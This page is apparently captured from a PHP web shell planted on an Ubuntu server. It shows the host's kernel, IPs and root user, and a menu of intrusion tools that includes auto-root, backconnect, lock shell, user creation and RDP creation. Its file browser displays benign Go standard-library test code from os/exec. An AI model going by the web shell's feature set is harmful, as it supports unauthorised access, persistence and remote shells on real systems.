Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.1
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
go /
src /
os /
exec /
[ HOME SHELL ]
Name
Size
Permission
Action
bench_test.go
492
B
-rw-r--r--
env_test.go
832
B
-rw-r--r--
example_test.go
3.18
KB
-rw-r--r--
exec.go
22.05
KB
-rw-r--r--
exec_plan9.go
504
B
-rw-r--r--
exec_posix_test.go
1.91
KB
-rw-r--r--
exec_test.go
30.66
KB
-rw-r--r--
exec_unix.go
527
B
-rw-r--r--
exec_windows.go
618
B
-rw-r--r--
internal_test.go
1.21
KB
-rw-r--r--
lp_js.go
816
B
-rw-r--r--
lp_plan9.go
1.38
KB
-rw-r--r--
lp_test.go
737
B
-rw-r--r--
lp_unix.go
1.56
KB
-rw-r--r--
lp_unix_test.go
1.14
KB
-rw-r--r--
lp_windows.go
2.12
KB
-rw-r--r--
lp_windows_test.go
15.02
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : exec_posix_test.go
// Copyright 2017 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. // +build aix darwin dragonfly freebsd linux netbsd openbsd solaris package exec_test import ( "os/user" "runtime" "strconv" "syscall" "testing" "time" ) func TestCredentialNoSetGroups(t *testing.T) { if runtime.GOOS == "android" { t.Skip("unsupported on Android") } u, err := user.Current() if err != nil { t.Fatalf("error getting current user: %v", err) } uid, err := strconv.Atoi(u.Uid) if err != nil { t.Fatalf("error converting Uid=%s to integer: %v", u.Uid, err) } gid, err := strconv.Atoi(u.Gid) if err != nil { t.Fatalf("error converting Gid=%s to integer: %v", u.Gid, err) } // If NoSetGroups is true, setgroups isn't called and cmd.Run should succeed cmd := helperCommand(t, "echo", "foo") cmd.SysProcAttr = &syscall.SysProcAttr{ Credential: &syscall.Credential{ Uid: uint32(uid), Gid: uint32(gid), NoSetGroups: true, }, } if err = cmd.Run(); err != nil { t.Errorf("Failed to run command: %v", err) } } // For issue #19314: make sure that SIGSTOP does not cause the process // to appear done. func TestWaitid(t *testing.T) { t.Parallel() cmd := helperCommand(t, "sleep") if err := cmd.Start(); err != nil { t.Fatal(err) } // The sleeps here are unnecessary in the sense that the test // should still pass, but they are useful to make it more // likely that we are testing the expected state of the child. time.Sleep(100 * time.Millisecond) if err := cmd.Process.Signal(syscall.SIGSTOP); err != nil { cmd.Process.Kill() t.Fatal(err) } ch := make(chan error) go func() { ch <- cmd.Wait() }() time.Sleep(100 * time.Millisecond) if err := cmd.Process.Signal(syscall.SIGCONT); err != nil { t.Error(err) syscall.Kill(cmd.Process.Pid, syscall.SIGCONT) } cmd.Process.Kill() <-ch }
Close